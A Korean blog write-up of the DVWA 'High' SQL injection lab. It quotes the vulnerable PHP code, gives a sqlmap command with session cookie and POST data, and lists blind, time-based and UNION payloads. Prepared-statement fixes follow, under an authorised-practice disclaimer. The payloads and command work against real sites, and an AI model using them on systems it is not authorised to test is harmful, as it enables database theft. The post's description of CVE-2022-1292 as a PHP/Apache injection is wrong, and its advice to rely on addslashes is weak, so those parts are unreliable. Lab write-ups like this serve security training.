[웹 모의해킹] SQL Injection 3 - High 단계 실습
이번 실습은 DVWA 실습 중 High 보안 등급에 해당하는 시나리오이다.
Low, Medium 단계와는 다르게 입력값이 POST 방식 + 세션을 통해 관리되며, 단순한 폼 조작만으로는 SQL 인젝션이 어려운 구조이다. 따라서 이번 실습은 자동화 도구 (SQLMap)를 활용한 공격과, 관련 보안 취약점 정보를 Vigilance.fr에서 조회하여 실제 시스템 적용 가능성까지 고려한 시나리오로 진행하였다.
1. 실습 환경 및 준비
- 보안 단계 : DVWA Security Level : High
- 운영체제 : Debian Linux
- 웹 서버 : Apache 2.4.62
- DBMS : MySQL (MariaDB Fork)
- 사용 도구:
- 웹 브라우저 (세션 확인 및 캡쳐)
- Burp Suite (쿠키 확인용)
- SQLMap (자동화 공격)
- Vilgilance.fr (취약점 정보 검색)
2. 취약 코드 분석
if( isset( $_SESSION[ 'id' ] ) ) {
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($conn, $query);
}
- 사용자의 ID는 $_POST가 아닌 $_SESSION['id']를 통해 관리됨.
- ID 값은 쿼리에 직접 포함되므로 SQL Injection 가능성 존재.
- 하지만, 사용자가 브라우저에서 값을 직접 수정할 수 없기 때문에, 자동화 도구로만 공격 가능.
3. 공격 시나리오 및 우회 흐름
1. 세션 기반 필터링 우회
- 공격자는 브라우저의 Application 탭 (F12)에서 PHPSESSID 값을 확인하거나 Burp Suite로 캡쳐 후 확인.
- PHPSESSID가 만료되거나 잘못된 상태이면 공격 실패 => 새로운 세션 ID로 재시도 필요.
2. SQLMap을 이용한 자동화 인젝션
세션 기반 구조는 수동 Burp Suite 조작으로는 우회하기 어렵다. 그래서 SQLMap을 활용해서 세션 유지 자동화 공격을 수행하였다.
사용 명령어
sqlmap --cookie="PHPSESSID=세션ID; security=high" \
-u http://타겟IP/DVWA/vulnerabilities/sqli/ \
--data "id=1&Submit=Submit" -p id
- --cookie : 인증된 세션 유지
- --data : POST 방식 요청 지정
- -p id : 인젝션 대상 파라미터 지정
4. SQLMap 결과 분석
SQLMap은 다음과 같은 다양한 인젝션 기법들을 탐지해 냈다.
유형 | 설명 | 예시 |
Boolean-based Blind | 조건 판단 후 참/거짓에 따른 응답 차이 분석 | id=(SELECT CASE WHEN (1=1) THEN 1 ELSE 2 END) |
Time-based Blind | 응답 지연 기반 판별 | id=1 AND SLEEP(5) |
UNION-based | 데이터 직접 추출 | id=1 UNION SELECT user(), NULL -- |
DB 정보 추출
sqlmap ... --dbs
추출된 DB 목록
[+] dvwa
[+] information_schema
5. Vigilance.fr을 통한 실전 적용 확인
공격 도구와 실습만으로 끝나는 것이 아니라, 실제 환경에서 해당 취약점이 존재할 수 있는지를 Vigilance.fr에서 검색해 보면 다음과 같은 활용이 가능하다.
활용 방법
1. SQL Injection, session handling, MariaDB, Apache, PHP 등을 키워드로 검색
2. 유사한 취약점 (CVE) 정보 확인
3. 패치 여부 및 대응 방안 확인
4. 실제 서비스에 영향 가능성 평가 가능
ex) CVE-2022-1292 (PHP 및 Apache 기반 웹 서버에서 발생할 수 있는 필터링 우회 인젝션)
실습한 DVWA 코드와 구조가 유사한 패턴이 있으면 패치 여부 판단 기준으로 활용이 가능하다.
6. 보안 대응 방안
1. Prepared Statement
$stmt = $conn->prepare("SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;");
$stmt->bind_param("i", $id);
$stmt->execute();
2. 보안 필터 함수 사용
함수 | 설명 |
mysqli_real_escape_string() | 특수문자 이스케이프 처리 |
addslashes() | 작은 따옴표, 백슬리시 등 escape |
htmlspecialchars() | XSS 방어용 |
7. 실습 요약
항목 | 결과 |
공격 방식 | SQLMap 자동화, 세션 기반 |
직접 조작 가능 여부 | 불가능 (세션 기반) |
탐지된 인젝션 | Boolean-based, Time-based, UNION |
DB 추출 성공 여부 | 성공 (dvwa, information_schema) |
Vigilance 검색 결과 | CVE 유사 사례 존재, 패치 필요성 |
8. 마무리
이번 실습을 통해 보안 수준이 높은 환경에서도 취약점이 존재할 수 있으며, 자동화 도구와 공공 취약점 데이터베이스를 함께 활용해야 대응을 할 수 있다는 것을 배울 수 있었다. 단순한 실습을 넘어서, Vigilance.fr 같은 사이트를 통해 실제 서비스에 대한 패치 여부를 확인하고 적용 여부를 판단하는 과정도 의미 있었던 것 같다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.